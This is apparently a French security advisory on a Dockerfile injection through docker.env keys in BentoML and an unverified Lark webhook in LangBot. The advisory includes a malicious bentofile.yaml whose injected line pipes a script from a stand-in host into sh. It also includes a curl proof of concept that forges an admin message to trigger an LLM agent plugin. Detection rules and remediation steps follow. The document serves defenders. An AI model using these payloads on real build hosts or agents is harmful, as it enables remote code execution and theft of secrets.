CVE-2026-112264 : injection d'instructions dockerfile via les clés docker.env dans BentoML et contournement d'authenticité des webhooks LangBot
Vulnérabilité critique d'injection d'instructions Dockerfile dans la chaîne de conteneurisation MLOps BentoML jusqu'à la version 1.4.39 (CVE-2026-112264), divulguée conjointement avec un contournement d'authenticité de webhook dans la plateforme d'agents conversationnels LangBot jusqu'à la version 4.11.0 (CVE-2026-112265). Dans BentoML <= 1.4.39, les clés du dictionnaire docker.env définies dans bentofile.yaml sont injectées sans filtrage des caractères de saut de ligne ('\\n') dans le modèle Jinja2 historique (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2). Un attaquant fournissant un fichier bentofile.yaml ou une archive .bento piégée peut sortir de la directive ENV et injecter des commandes 'RUN' arbitraires exécutées sur l'hôte lors de l'appel à 'bentoml containerize'. Parallèlement, LangBot <= 4.11.0 n'impose pas la validation cryptographique des signatures Lark/Feishu sur ses webhooks entrants (CVE-2026-112265), permettant d'injecter de faux événements de messagerie directement dans les outils de l'agent LLM.
SCORE DE MENACE HERMES & ÉVALUATION SUPPLY-CHAIN MLOPS / WEBHOOKS D'AGENTS
Cible :Générateur de modèles Dockerfile Jinja2 BentoML (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2 & build_config.py) & adaptateur webhook Lark/Feishu LangBot Alors que le score CVSS v3.1 évalue la CVE-2026-112264 à 8.8 (High) en supposant une action manuelle d'un opérateur exécutant 'bentoml containerize', le Hermes Threat Score élève cette menace à 91 (CRITICAL) avec un Hermes Agentic Security Score (HASS) de 92 (CRITICAL). Dans les pipelines MLOps industriels — tels que les runners CI/CD BentoCloud, les registres de modèles automatisés et les agents autonomes d'empaquetage — la conteneurisation d'archives .bento s'exécute automatiquement avec un accès privilégié au démon Docker/BuildKit et aux secrets des registres cloud. De plus, la CVE-2026-112264 constitue un contournement direct des correctifs antérieurs (CVE-2026-33744, CVE-2026-35043, CVE-2026-35044) qui avaient sécurisé system_packages et base_v2.j2 tout en omettant de valider les clés du dictionnaire docker.env dans le modèle base.j2. Combinée à la CVE-2026-112265 dans LangBot (<= 4.11.0), où l'absence de vérification de signature des webhooks Lark/Feishu permet d'usurper un administrateur pour déclencher des plugins LLM, cette double divulgation compromet à la fois l'usine logicielle IA et l'interface d'orchestration conversationnelle.
CVE-2026-112264: BentoML Containerization Dockerfile Instruction Injection via docker.env Keys & Companion LangBot Webhook Authenticity BypassVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in BentoML AI Model Serving & Containerization Framework documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Synthèse exécutive
Section intitulée « Synthèse exécutive »Les 19 et 20 octobre 2026, VulnCheck Initial Access Intelligence a publié deux vulnérabilités critiques ciblant les pipelines de conteneurisation MLOps et les passerelles de messagerie d’agents IA d’entreprise :
- CVE-2026-112264 (
CWE-94/CWE-74/CWE-78, injection d’instructions dockerfile via les clésdocker.envdans BentoML<= 1.4.39) : lors de la génération d’une image de conteneur à partir d’un fichierbentofile.yamlou d’une archive.bento, la classeDockerOptions(src/bentoml/_internal/bento/build_config.py) accepte un dictionnaire clé-valeur pour le blocdocker.env. Bien que les correctifs publiés dans BentoML1.4.37et1.4.38(CVE-2026-33744,CVE-2026-35043,CVE-2026-35044) aient appliquéshlex.quote()surdocker.system_packageset sur les valeurs d’environnement dansbase_v2.j2, le modèle Jinja2 historique (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2) continuait d’interpoler les clés du dictionnairedocker.envdirectement dans les directivesENVsans filtrer les caractères de saut de ligne (\n,\r). L’insertion d’un saut de ligne au sein d’une clédocker.envpermet de s’échapper de la directiveENVet d’injecter des instructionsRUN,ADDouCOPYarbitraires dans leDockerfilegénéré, provoquant une exécution de code à distance (RCE) sur l’hôte de build lors de l’exécution debentoml containerize. - Divulgation conjointe — CVE-2026-112265 (
CWE-345/CWE-306, absence de vérification d’authenticité des webhooks lark/feishu dans LangBot<= 4.11.0) : dans LangBot (RockChinQ/LangBot, versions<= 4.11.0), le récepteur HTTP de webhooks pour la plateforme Lark / Feishu (pkg/platform/sources/lark.py) traite les événements entrants sans imposer la vérification de la signature cryptographiqueX-Lark-Signature(encrypt-key) ni du jetonverification-token. Tout attaquant distant non authentifié connaissant ou découvrant l’UUID d’un bot peut injecter de faux événementsim.message.receive_v1en usurpant l’identifiant (open_id) d’un administrateur pour exécuter des commandes de plugins et d’outils MCP.
Mécanique technique et analyse du code source
Section intitulée « Mécanique technique et analyse du code source »1. CVE-2026-112264 : contournement des correctifs BentoML via les clés du dictionnaire docker.env dans base.j2
Section intitulée « 1. CVE-2026-112264 : contournement des correctifs BentoML via les clés du dictionnaire docker.env dans base.j2 »Pour comprendre pourquoi la CVE-2026-112264 a subsisté jusqu’à la version 1.4.39 de BentoML malgré les correctifs des versions 1.4.37 et 1.4.38, il convient d’examiner le traitement de docker.env dans src/bentoml/_internal/bento/build_config.py (DockerOptions) et son rendu dans les modèles Jinja2 (src/bentoml/_internal/container/frontend/dockerfile/templates/).
Dans bentofile.yaml, le champ docker.env accepte trois formats :
- une liste de chaînes
CLE=VALEUR(["FOO=bar"]), - un chemin vers un fichier
.env, - un dictionnaire YAML (
{"FOO": "bar"}).
Lorsque le modèle Jinja2 historique (base.j2 et les modèles de distributions dérivés tels que base_debian.j2, base_ubi8.j2, base_amazonlinux.j2) génère le bloc des variables d’environnement, il parcourt les entrées du dictionnaire __options__env :
{# CODE VULNÉRABLE : src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2 (<= 1.4.39) #}{% block SETUP_BENTO_ENVARS %}{% if __options__env is not none %}{% for key, value in __options__env.items() -%}ENV {{ key }}={{ value }}{% endfor -%}{% endif %}{% endblock %}Or, dans src/bentoml/_internal/bento/build_config.py, alors que les valeurs étaient échappées, les clés du dictionnaire (key) dans docker.env étaient converties en chaînes sans vérifier qu’elles respectaient le format strict d’un identifiant de variable d’environnement POSIX (^[a-zA-Z_][a-zA-Z0-9_]*$) :
# CODE VULNÉRABLE : src/bentoml/_internal/bento/build_config.py (<= 1.4.39)def _convert_env(env: dict[str, str] | list[str] | str | None) -> dict[str, str] | None: if isinstance(env, dict): # FAILLE (CWE-94 / CWE-74) : les clés du dictionnaire (k) ne sont PAS contrôlées # contre l'injection de sauts de ligne ('\n') avant l'interpolation dans base.j2 ! return {str(k): shlex.quote(str(v)) for k, v in env.items()}Comme shlex.quote(str(v)) entoure la valeur de guillemets simples (où un saut de ligne brut sans antislash de continuation provoque une erreur de syntaxe Dockerfile), toute tentative d’injection de \nRUN ... dans la valeur échouait. En revanche, en plaçant le saut de ligne et la directive RUN directement dans la clé du dictionnaire (k), le modèle Jinja2 insère la clé sans aucun guillemet avant le signe = !
Examinons un fichier bentofile.yaml malveillant utilisant la syntaxe de clé multiligne YAML (? |) sous docker.env :
# Fichier bentofile.yaml malveillant exploitant la CVE-2026-112264 (BentoML <= 1.4.39)service: "service:svc"include: - "*.py"docker: distro: debian env: ? | legit_var=1 RUN curl -fsSL http://198.51.100.42:8080/exfil.sh | sh # : "harmless_value"Lorsque base.j2 évalue ENV {{ key }}={{ value }}, il produit les lignes suivantes dans le Dockerfile final :
ENV legit_var=1RUN curl -fsSL http://198.51.100.42:8080/exfil.sh | sh#='harmless_value'- La première ligne (
ENV legit_var=1) constitue une instructionENVparfaitement valide. - La deuxième ligne (
RUN curl -fsSL ... | sh) s’échappe du contexteENVet injecte une directiveRUNde premier niveau exécutée immédiatement par Docker / BuildKit sur l’hôte de construction ! - La troisième ligne (
#='harmless_value') commence par le caractère#, transformant le résidu={{ value }}en un simple commentaire Dockerfile afin que la construction de l’image se termine sans aucune erreur.
flowchart TD Attacker["Attaquant / dépôt de modèle non fiable"]
subgraph PathA["Vecteur A : BentoML <= 1.4.39 (CVE-2026-112264)"] BentoYAML["Fichier bentofile.yaml ou archive .bento piégée<br/>Clé de dictionnaire docker.env avec saut de ligne '\\n' :<br/>'VAR=1\\nRUN <cmd>\\n#'"] BuildConfig["build_config.py :: DockerOptions<br/>Échappe la valeur via shlex.quote(v)<br/>Laisse la clé du dictionnaire (k) non validée !"] BaseJ2["Moteur Jinja2 templates/base.j2<br/>Génère : ENV VAR=1\\nRUN <cmd>\\n#='val'"] DockerBuild["'bentoml containerize' / runner CI/CD<br/>Exécute la directive RUN sur l'hôte de build<br/>& compromet l'image de conteneur générée"] end
subgraph PathB["Vecteur B : LangBot <= 4.11.0 (CVE-2026-112265)"] ForgedWebhook["Requête HTTP POST forgée vers /bots/{uuid}/webhook<br/>Usurpation du sender_id (OpenID administrateur)"] LarkAdapter["Adaptateur webhook Lark/Feishu LangBot<br/>Absence de vérification obligatoire X-Lark-Signature /<br/>verification-token (CWE-345)"] AgentTools["Moteur LLM LangBot & outils MCP/plugins<br/>Exécute des commandes privilégiées et requêtes RAG"] end
Attacker --> BentoYAML BentoYAML --> BuildConfig BuildConfig --> BaseJ2 BaseJ2 --> DockerBuild
Attacker --> ForgedWebhook ForgedWebhook --> LarkAdapter LarkAdapter --> AgentTools
style BaseJ2 fill:#ff4d4d,stroke:#990000,color:#ffffff style DockerBuild fill:#ff1a1a,stroke:#800000,color:#ffffff style LarkAdapter fill:#ff6600,stroke:#993300,color:#ffffff2. Divulgation conjointe : contournement d’authenticité des webhooks lark/feishu dans LangBot <= 4.11.0 (CVE-2026-112265)
Section intitulée « 2. Divulgation conjointe : contournement d’authenticité des webhooks lark/feishu dans LangBot <= 4.11.0 (CVE-2026-112265) »Divulguée parallèlement à la CVE-2026-112264, la CVE-2026-112265 (CWE-345 : vérification insuffisante de l'authenticité des données) affecte LangBot (<= 4.11.0), une plateforme open-source d’agents conversationnels LLM interconnectée aux messageries d’entreprise Lark/Feishu, DingTalk, WeCom, Slack et Discord.
Lorsque LangBot est configuré avec Lark / Feishu en mode Webhook HTTP, la plateforme Lark transmet les événements de messagerie (im.message.receive_v1) via des requêtes HTTP POST vers l’URL de rappel du bot. L’architecture de sécurité Lark repose sur deux mécanismes :
X-Lark-Signature(encrypt-key) : signature cryptographique SHA-256 calculée surtimestamp + nonce + encrypt_key + raw_body.verification-token: jeton secret partagé inséré dans l’en-tête JSON (header.token).
Dans LangBot <= 4.11.0, l’adaptateur webhook Lark n’imposait pas la vérification systématique de la signature ou du jeton de validation lors de la réception d’événements non chiffrés (ou permettait de contourner la vérification lorsque encrypt-key n’était pas renseigné). Par conséquent, un attaquant distant ayant découvert ou énuméré l’UUID du bot peut soumettre directement un événement im.message.receive_v1 forgé :
#!/usr/bin/env bash# Preuve de concept : CVE-2026-112265 injection d'événement webhook Lark/Feishu forgé dans LangBotTARGET_LANGBOT="http://192.0.2.88:2280"BOT_UUID="c4f8e1a0-72b1-4d9c-91a3-08f91e3a1102"
curl -i -X POST "${TARGET_LANGBOT}/api/v1/platform/webhook/${BOT_UUID}" \ -H "Content-Type: application/json" \ -d '{ "schema": "2.0", "header": { "event_id": "forged-evt-2026-112265", "event_type": "im.message.receive_v1", "create_time": "1792464000000", "app_id": "cli_spoofed_app" }, "event": { "sender": { "sender_id": { "open_id": "ou_enterprise_admin_001" }, "sender_type": "user" }, "message": { "message_id": "om_forged_001", "chat_type": "p2p", "message_type": "text", "content": "{\"text\": \"!plugin run system_diagnostics --export-env\"}" } } }'Investigation forensique et ingénierie de détection
Section intitulée « Investigation forensique et ingénierie de détection »Consultez nos analyses connexes sur la CVE-2026-112015 (traversée de répertoires os_env.cwd et évasion de politique dans omnigent) et la CVE-2026-111998 (jeton codé en dur et SSRF CloudEvents dans la passerelle vanus) pour sécuriser vos runners MLOps et passerelles de webhooks.
title: Injection d'instructions Dockerfile via docker.env dans BentoML et webhook Lark non vérifié dans LangBot (CVE-2026-112264 / CVE-2026-112265)id: 4a8c2f19-1122-464d-9e12-bentoml112264status: experimentaldescription: Détecte la CVE-2026-112264 (instructions RUN/ADD/COPY injectées via les clés docker.env de BentoML) et la CVE-2026-112265 (requêtes POST webhook Lark/Feishu im.message.receive_v1 dépourvues d'en-tête X-Lark-Signature).references: - https://vulncheck.com/advisories/bentoml-through-1.4.39-dockerfile-instruction-injection-via-docker-env-keys - https://vulncheck.com/advisories/langbot-through-4.11.0-missing-lark-feishu-webhook-authenticity-verificationauthor: Hermes Threat Intelligencedate: 2026/10/20logsource: category: webserverdetection: selection_langbot_webhook: cs-method: 'POST' request_body|contains: 'im.message.receive_v1' filter_missing_lark_sig: cs-headers|contains: - 'X-Lark-Signature' - 'x-lark-signature' condition: selection_langbot_webhook and not filter_missing_lark_sigfalsepositives: - Tests locaux de webhooks en environnement de développement sans signature Larklevel: criticaltags: - attack.initial_access - attack.execution - attack.t1195.002 - attack.t1190 - cve.2026-112264 - cve.2026-112265(index=cicd_builds OR index=docker_daemon OR index=web_access)| eval threat_signal=case( match(_raw, "(?ms)ENV\s+[^\n]+=\S+\s*\n\s*(RUN|ADD|COPY)\s+"), "CVE-2026-112264_BentoML_Dockerfile_Env_Key_Injection", match(request_body, "im\.message\.receive_v1") AND NOT match(request_headers, "(?i)x-lark-signature:"), "CVE-2026-112265_LangBot_Unverified_Lark_Webhook", 1==1, "Normal")| where threat_signal != "Normal"| stats count, earliest(_time) as first_seen, latest(_time) as last_seen, values(host) as hosts, values(src_ip) as src_ips by threat_signal| sort - count#!/usr/bin/env bash# Script d'audit de sécurité pré-build Hermes pour BentoML (CVE-2026-112264) & LangBot (CVE-2026-112265)set -euo pipefail
TARGET_DIR="${1:-.}"echo "[*] 1. Vérification de la version installée de BentoML..."python3 -c "import bentoml; print('Version BentoML :', bentoml.__version__)" 2>/dev/null || true
echo "[*] 2. Analyse des fichiers bentofile.yaml et bento.yaml sous '${TARGET_DIR}' pour détecter des clés docker.env multilignes..."python3 - "${TARGET_DIR}" << 'EOF'import pathlib, re, sys, yaml
root = pathlib.Path(sys.argv[1])KEY_RE = re.compile(r"^[a-zA-Z_][a-zA-Z0-9_]*$")
for path in list(root.rglob("bentofile*.yaml")) + list(root.rglob("bento.yaml")): try: data = yaml.safe_load(path.read_text(encoding="utf-8")) or {} env_cfg = (data.get("docker") or {}).get("env") if isinstance(env_cfg, dict): for k, v in env_cfg.items(): if "\n" in str(k) or "\r" in str(k) or not KEY_RE.match(str(k)): print(f"[!] CRITIQUE (CVE-2026-112264) : clé docker.env malveillante détectée dans {path} : {k!r}") except Exception as exc: print(f"[!] Avertissement : impossible d'analyser {path} : {exc}")EOFStratégie de remédiation et directives de durcissement
Section intitulée « Stratégie de remédiation et directives de durcissement »- Mettre à jour BentoML au-delà de la version
1.4.39(>= 1.4.40) et valider les clésdocker.env(CVE-2026-112264) : mettre à niveau BentoML sur l’ensemble des postes de développement, runners CI/CD et environnements BentoCloud. Vérifier que chaque clé du dictionnairedocker.env(dansbuild_config.pycomme dansbase.j2etbase_v2.j2) est validée par rapport à l’expression régulière POSIX^[a-zA-Z_][a-zA-Z0-9_]*$et que tout caractère\nou\rlève immédiatement une exceptionBentoMLExceptionavant le rendu Jinja2. - Isoler l’exécution de
bentoml containerizedans des bacs à sable BuildKit sans privilèges : ne jamais exécuterbentoml buildoubentoml containerizesur des fichiersbentofile.yamlou des archives.bentoprovenant de tiers en exposant le socket Docker de l’hôte (/var/run/docker.sock). Exécuter la construction d’images dans des conteneurs BuildKit éphémères sans privilèges (rootless) et sans accès au service de métadonnées cloud (169.254.169.254). - Mettre à jour LangBot au-delà de la version
4.11.0(>= 4.11.1) OU basculer en mode WebSocket (CVE-2026-112265) : mettre à niveau LangBot vers une version corrigée imposant la validation stricte deX-Lark-Signature(encrypt-key) et duverification-tokensur toutes les requêtes webhook entrantes, ou basculer l’intégration Lark/Feishu en mode connexion longue WebSocket afin de supprimer l’exposition publique du point de terminaison HTTP webhook.